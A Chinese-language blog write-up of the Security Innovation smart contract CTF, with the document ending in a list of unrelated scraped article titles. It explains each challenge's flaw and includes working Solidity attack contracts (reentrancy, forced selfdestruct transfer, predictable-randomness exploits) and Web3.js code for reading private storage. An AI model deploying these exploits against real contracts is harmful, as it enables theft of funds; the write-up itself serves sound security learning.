赛题地址:https://blockchain-ctf.securityinnovation.com/#/dashboard

Donation

源码解析

我们只需要用外部账户调用 withdrawDonationsFromTheSuckersWhoFellForIt() 把钱取出来,就算是挑战成功啦。本题难就难在怎么用外部账户调用合约函数。。。

解题

点一下 Hints 他就会提醒你用 MyCrypto 来完成这个挑战。我用了,太香了。完美解决了用外部账户调用合约函数的问题。

只需要进入界面 —> TOOLS —> Interact with Contracts —> 然后按照要求把内容填好 —> 选择所调用的函数 —> 成功!

Lock Box

源码分析

  1. now 参数在 0.7.0 以后被替换为 timestamp 它的返回值等于:https://www.unixtimestamp.com/
  2. pinprivatepin ,就是不公开的意思。
  3. 目的就是要你猜出 pin 的值。啊当然,猜是不可能猜的,这辈子也不可能猜的。

解题

接下来的内容,了解solidity中变量存储位置的读者可以“显然”地知道 pin 值在合约中存储的位置。不了解的读者也不要紧,我们可以进行一步推导得出他的存储位置。

将合约内容反编译:https://ethervm.io/decompile/ropsten/0xa9944deee7d75b7b945bc12b3dd19f016ce1b566

首先找到函数 function unlock(var arg0) ,然后在函数中找到这个判断:

if (storage[0x01] == arg0) {
var temp1 = address(address(this)).balance;
var temp2 = memory[0x40:0x60];
var temp3;
temp3, memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
var var0 = !temp3; if (!var0) { return; } var temp4 = returndata.length;
memory[0x00:0x00 + temp4] = returndata[0x00:0x00 + temp4];
revert(memory[0x00:0x00 + returndata.length]);
}

为什么是这个 if 判断呢,因为在这个判断里面有转账语句 address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)()

然后我们看出我们输入的值是和 storage[0x01] 进行比较的,也就是说 pin 值就存放在 storage[0x01] 中。所以,我们可以利用 Web3.js 获取这个位置的值。

Web3.js 代码:

var Web3 = require('web3');
// 创建web3对象
var web3 = new Web3();
// 连接到 ropsten 测试节点
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/xxx"))
web3.eth.getStorageAt("0xa9944deee7d75b7b945bc12b3dd19f016ce1b566", 1).then(console.log) // return:
// 0x00000000000000000000000000000000000000000000000000000000000007b2
// 转为十进制等于1970

HttpProvider 中填入你自己的 infura 链接即可。

最后,我们把得到的 1970 填入到题目中,完成解题。

Piggy Bank

解题

直接调用 CharliesPiggyBank 中的 collectFunds 函数进行取款就完成挑战了。。。

可能关键点就在于 CharliesPiggyBank 中的 collectFunds 少继承了 modifier onlyOwner() ,看看是否发现了这个漏洞。。。吧?

SI Token Sale

源码分析

  1. 虽然他调用了 SafeMath 模块,但是他没有用。诶有模块我不用,就是玩儿。
  2. 10 szabo 的交易费用(1 ether == 10^6 szabo)
  3. 结合以上两点,在 balances[msg.sender] += _value - feeAmount; 这里很可能会发生下溢出漏洞

解题

  1. 往合约打 10 wei (只要小于 10 szabo 即可),使其发生下溢出,这样我们的 balances 就会变得非常大,方便后面为所欲为。
  2. 然后调用 refundTokens(uint256 _value) 函数,_value 的值为合约余额的两倍(这里留意一下,在题目网页上显示的余额有那么一丢丢不准确,建议去 etherscan 上面查一下准确的余额)
  3. 过关~

Secure Bank

源码分析

  1. 三个合约,一层套一层,SimpleBank —> MembersBank —> SecureBank
  2. SimpleBank withdraw:要求取款不能超过账户余额
  3. MembersBank withdraw:要求取款不能超过账户余额,取款账户是 member
  4. SecureBank withdraw:要求取款不能超过账户余额,取款账户是 member,取款账户是自己

解题

我们要做的就是把创建合约的账户余额给取走。

虽然 SecureBank withdraw 是继承 MembersBank withdraw 的,但是因为的参数格式不一致(前者是uint8 _value,后者是uint256 _value),导致了 SecureBank 中会出现两个可以调用的 withdraw 函数。(这可以从 ABI 中看出,有两个 withdraw 函数。)

也就是说,可以在 SecureBank 合约中,调用 MembersBank withdraw 函数进行取款。

  1. 调用 register 函数,对创建合约的账户地址进行注册,使其成为 member
  2. 调用 MembersBank withdraw ,将创建合约的账户中的余额转走
  3. 成功

Lottery

一个猜数字的游戏,涉及到了区块号和发送者地址等

解题

  1. blockhash 函数,很有讲究,当输入的区块号为当前区块号或 256 个以前的区块号,它都返回 0。也就是说 blockhash(block.number) == 0

  2. ^ 是异或操作

  3. 也就是说,当我们要求 guess==target 的时候,只是在要求 _seed == abi.encodePacked(msg.sender)

  4. 通过下面的函数即可得到刚刚好的 _seed

    function encode(address _addr) public returns(bytes32) {
    return keccak256(abi.encodePacked(_addr));
    }

Trust Fund

看!好大个msg.sender.call.value(allowancePerYear)() !!它用 call 来转账!! 它用 call 来转账!! 重入漏洞干他!

解题

重入漏洞就不多解释了,原理搜一下即可,直接上攻击代码:

pragma solidity 0.4.24;

contract attack{
address public aimAddr; function reen(address _addr) public {
aimAddr = _addr;
_addr.call(bytes4(keccak256("withdraw()")));
} function () public payable{
aimAddr.call(bytes4(keccak256("withdraw()")));
}
}

反复调用目标合约,将里面的钱全部提取出来。

注意:gas limit 要稍微设置的大一点点,不然会调用失败:out of gas。

Record Label

源码分析

  1. 代码很繁琐,整体来说就是取款的时候要按百分比分一部分给 Manager 合约
  2. 调用 withdrawFundsAndPayRoyalties 函数进行取款,取款流程跟踪函数看一下,还挺绕。。

关键点:

  1. addRoyaltyReceiver 函数中没有对添加的地址进行检测,可以添加已有的用户
  2. payoutRoyalties 函数中只对每一个 reciver 中的比例进行扣款,没有检查总的 percentRemaining

解题

查看 RecordLabel 合约的创建交易,它同时创建了另外两个合约(Manager 和 Royalties)

Royalties 合约的地址我们可以查到

所以可知 Manager 合约的地址为:0xfDE1eeBF0d2AE27236bDdd802Efbcb9FE2AECE12

Royalties:0xAea30FFF488903783d90af7C5396aCAFd9879885

Royalties 的 ABI 如下:

[
{
"constant": true,
"inputs": [],
"name": "amountPaid",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "payoutRoyalties",
"outputs": [],
"payable": true,
"stateMutability": "payable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_receiver",
"type": "address"
},
{
"name": "_percent",
"type": "uint256"
}
],
"name": "addRoyaltyReceiver",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "getLastPayoutAmountAndReset",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"name": "_manager",
"type": "address"
},
{
"name": "_artist",
"type": "address"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"payable": true,
"stateMutability": "payable",
"type": "fallback"
}
]

将 Royalties 合约中 (reciver == Manager) 的分钱比例设为 0

然后调用 withdrawFundsAndPayRoyalties 函数取走 1000000000000000000 wei (1 eth)即可

Slot Machine

代码分析

有一种转账方法可以在不触发 fallback 函数的情况下完成转账:合约自毁。

pragma solidity 0.4.24;

contract selfdes{
function destruct(address _aim) public{
selfdestruct(_aim);
} function () payable public{ }
}

解题

  1. 先转入 3.5 eth 到自毁合约中,执行自毁函数向目标合约进行转账(绕开了其fallback函数)。此时目标合约中的余额已经大于 5 eth,也就是满足 address(this).balance >= winner 这一条件。
  2. 再使用自己的账户往目标账户中转入 1 szabo ,完成攻击。

Heads or Tails

代码分析

关键点就在 entropy 和 coinFlip 两个变量上,而这两个变量都是我们可以获取到具体值的。根据题目 msg.sender.transfer(msg.value.mul(3).div(2)); 这行代码,我们转账 20 次即可把余额取完。

解题

不多bibi,直接上代码:

pragma solidity 0.4.24;

contract getHeads{
bytes32 public entropy;
bytes1 public coinFlip;
bool public coinBool; function caller(address _aim) public {
bytes32 entropy = blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
if(coinFlip == 1){
coinBool = true;
}
else{
coinBool = false;
} for(uint i = 0; i < 20; i++){
_aim.call.value(0.1 ether)(bytes4(keccak256("play(bool)")), coinBool);
}
} function getback() public{
msg.sender.send(this.balance);
} function () payable public{ }
}
  1. 首先把该合约加入到名单中。
  2. 然后在运行 caller 函数之前,往合约转 0.1 ether ,并且 gas limit 设置得稍微大一点点即可。
  3. 完成挑战后记得把钱取走!

Rainy Day Fund

源码分析

看到这道题的时候闪过了一下提前转账的想法,但是一想应该不能重置了再来这么蛇皮吧就打消了这个念头。没想到就是这样做的。

解题

我们需要提前计算出 DebugAuthorizer 合约的地址(可以做到),然后提前转账 1.337 ether,当这个地址被部署上合约的时候就满足条件 (address(this).balance == 1.337 ether) 。然后就可以调用 withdraw 函数把钱取走了。

首先,新的外部账户nonce从0开始,新的合约账户nonce则是从1开始。

查看合约调用链,我们可以得知 DebugAuthorizer 合约由 RainyDayFund 合约进行创建。而 RainyDayFund 合约则由developer = 0xeD0D5160c642492b3B482e006F67679F5b6223A2 创建。

我们知道 developer 的地址,还需要知道它创建 RainyDayFund 合约的 nonce ,这样才能计算出它下一次创建的合约地址。

var util = require('ethereumjs-util');
// 根据发送者地址和nonce求取生成的新合约的地址
// 先RLP编码,再Hash,截取Hash值的后20个字节
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2"; for(var i = 1; i <= 10000000; i++){
buf = [Buffer.from(developer , "hex"), i];
// RainyDayFund.address == 30e93a...
if(util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40) == "30e93ac1d17a55571a0b38ee32de7fcce5c899a1"){
console.log(i);
break;
}
}
// result: i = 359

计算得出 developer 创建 RainyDayFund 合约的 nonce = 359 ,那么我们下一次创建的时候 nonce 就等于 360。而 RainyDayFund 合约在 nonce = 1 时创建了 DebugAuthorizer 合约。

然后就可以通过下面的代码计算出下一次部署的 DebugAuthorizer 的地址:

var util = require('ethereumjs-util');
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
var nonce = 360; var buf = [Buffer.from(developer, "hex"), nonce];
var RainyDayFund = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40); var nonce2 = 1;
var buf2 = [Buffer.from(RainyDayFund , "hex"), nonce2];
var DebugAuthorizer = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40); /*
计算下一次重构所生成的合约地址:
RainyDayFund:
[eD0D5160c642492b3B482e006F67679F5b6223A2, 360] = 1aa67125c77d915e858c446510e14934bcac52a1
DebugAuthorizer:
[1aa67125c77d915e858c446510e14934bcac52a1, 1] = f8bc584d576f04c303d0504966c07c02a61f3529
*/

然后往计算得出的 DebugAuthorizer 地址中转入 1.337 ether ,再 (Reset challenge contract for 2.5 ETH) ,即可直接调用 withdraw 函数将钱取走!

【吐槽:这道题真的很费币。。做到一半币不够了,水龙头也坏了,还得向大佬要了点币才解得了。。】

Raffle

解题

利用 blockhash 函数只能计算最近 256 个区块的哈希值,超过 256 个的区块哈希值为 0 这个特点。

合约1:0xA6E29a673ed3CB2D196F710f843b8b07aB341B37

负责买票,关闭抽奖

pragma solidity ^0.4.0;

contract Raffle{

    function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
} function closeRaffle(address _aim) public{
_aim.call(bytes4(keccak256("closeRaffle()")));
} function withdraw() public{
msg.sender.send(this.balance);
} function () payable public{}
}

合约2:0xACBaD8a016C46C5A9bBA6B8665Da96e12B3F828C

负责买票,领奖

pragma solidity ^0.4.0;

contract Raffle2{

    function buyTicket(address _aim) public{
_aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
} function collectReward(address _aim) public{
_aim.call(bytes4(keccak256("collectReward()")));
} function withdraw() public{
msg.sender.send(this.balance);
} function () payable public{}
}

买完票以后的当前区块数:10853164,只需要耐心等待,直到区块数超过 10853164 + 256 ,再利用合约1关闭抽奖,最后利用合约2领奖。

后记

从其他博客中看到了一个关键点:

触发 fallback 函数后,若 fallback 函数中又调用了自身函数,那么此时,msg.sender 变成了自身

【阿菜Writeup】Security Innovation Smart Contract CTF的更多相关文章

  1. the security of smart contract- 1

    https://blog.zeppelin.solutions/the-hitchhikers-guide-to-smart-contracts-in-ethereum-848f08001f05 这个 ...

  2. the security of smart contract- 2

    出处:https://cloud.tencent.com/developer/article/1192548 深度解析Solidity的17个坑及超详细避坑指南 写的很好,好好学习 1. Re-Ent ...

  3. ethereum/EIPs-1271 smart contract

    https://github.com/PhABC/EIPs/blob/is-valid-signature/EIPS/eip-1271.md Standard Signature Validation ...

  4. Using APIs in Your Ethereum Smart Contract with Oraclize

    Homepage Coinmonks HOMEFILTER ▼BLOCKCHAIN TUTORIALSCRYPTO ECONOMYTOP READSCONTRIBUTEFORUM & JOBS ...

  5. Smart Contract - Hello World

    [编写Smart Contract] 1.包含头文件. #include <eosiolib/eosio.hpp> #include <eosiolib/print.hpp> ...

  6. Truffle Smart Contract Error: Invalid number of parameter

      I followed the tutorial of quorum with truffle: https://truffleframework.com/tutorials/building-da ...

  7. 区块链学习5:智能合约Smart contract原理及发展历程科普知识

    ☞ ░ 前往老猿Python博文目录 ░ 一.智能合约的定义 通俗来说,智能合约就是一种在计算机系统上,当一定条件满足的情况下可被自动执行的合约,智能合约体现为一段代码及其运行环境.例如银行信用卡的自 ...

  8. 【翻译】A Next-Generation Smart Contract and Decentralized Application Platform

    原文链接:https://github.com/ethereum/wiki/wiki/White-Paper 当中本聪在2009年1月启动比特币区块链时,他同时向世界引入了两种未经测试的革命性的新概念 ...

  9. smart contract 知识点

    知识点 memory vs storage vs stack storage , where all the contract state variables reside. Every contra ...

随机推荐

  1. linux驱动之LED驱动

    通过之前的学习,了解到linux驱动编写的流程是:先通过注册函数注册我们编写的入口函数,然后在入口函数中获取设备号->注册字符设备->自动创建设备节点->获取设备树信息,最后通过销毁 ...

  2. [NOI2009] 诗人小G [题解]

    诗人小G 题目大意 给出 \(n\) 个长度不超过 \(30\) 的句子,要求你对其进行排版. 对于每一行,有一个规定的行标准长度 \(L\) ,每一行的不协调度等于该行的实际长度与行标准长度差的绝对 ...

  3. Installation failed with message INSTALL_FAILED_TEST_ONLY问题

    Android Studio连接手机进行app调试,遇到如下问题: Installation failed with message INSTALL_FAILED_TEST_ONLY. It is p ...

  4. 在 .NET 中创建对象的几种方式的对比

    在 .net 中,创建一个对象最简单的方法是直接使用 new (), 在实际的项目中,我们可能还会用到反射的方法来创建对象,如果你看过 Microsoft.Extensions.DependencyI ...

  5. 【Azure Redis 缓存】Azure Redis出现了超时问题后,记录一步一步的排查出异常的客户端连接和所执行命令的步骤

    问题描述 Azure Redis在使用的过程中,多次无规律的出现超时问题.抓取到客户端的异常错误后,想进一步的分析是何原因导致了如下异常呢? Timeout awaiting response (ou ...

  6. 【剑指offer】05. 替换空格

    剑指 Offer 05. 替换空格 知识点:: 题目描述 请实现一个函数,把字符串 s 中的每个空格替换成"%20". 示例 输入:s = "We are happy.& ...

  7. PAT乙级:1077 互评成绩计算 (20分)

    PAT乙级:1077 互评成绩计算 (20分) 在浙大的计算机专业课中,经常有互评分组报告这个环节.一个组上台介绍自己的工作,其他组在台下为其表现评分.最后这个组的互评成绩是这样计算的:所有其他组的评 ...

  8. 【Uva11400 Lighting System Design】动态规划

    分析 先按照电压从小到大排序,做一下前缀和s[i]求i之前的电灯泡的数量. 状态:$ F_i\(表示到\) i$个灯泡的最小开销. 状态转移方程:$ F_i=F_j+(s[i]-s[j])\times ...

  9. jvm源码解读--10 enum WKID 枚举

    源码中对于枚举类型WKID的使用 static bool initialize_wk_klass(WKID id, int init_opt, TRAPS); static void initiali ...

  10. Tom_No_02 Servlet向流中打印内容,之后在调用finsihResponse,调用上是先发送了body,后发送Header的解释

    上次在培训班学上网课的时候就发现了这个问题,一直没有解决,昨天又碰到了,2-3小时也未能发现点端倪,今早又仔细缕了下,让我看了他的秘密 1.Servlet向流中打印内容,之后在调用finsihResp ...